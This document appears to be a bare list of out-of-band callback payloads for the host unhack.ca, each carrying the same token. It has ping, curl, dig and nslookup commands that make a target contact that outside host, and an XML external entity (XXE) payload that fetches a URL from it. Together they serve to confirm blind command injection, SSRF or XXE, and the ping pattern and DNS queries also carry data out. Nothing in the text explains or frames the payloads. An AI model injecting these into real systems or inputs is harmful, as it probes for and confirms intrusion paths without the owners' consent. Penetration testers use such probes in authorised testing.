$ ping -c1 -p 008c0ca3d55d5722233fecc91e95eb00 unhack.ca
$ curl http://unhack.ca/p/8c0ca3d55d5722233fecc91e95eb
$ dig 8c0ca3d55d5722233fecc91e95eb @unhack.ca
$ dig 8c0ca3d55d5722233fecc91e95eb.ns.unhack.ca
C:\> nslookup 8c0ca3d55d5722233fecc91e95eb unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/8c0ca3d55d5722233fecc91e95eb">]> <foo>&xxe;</foo>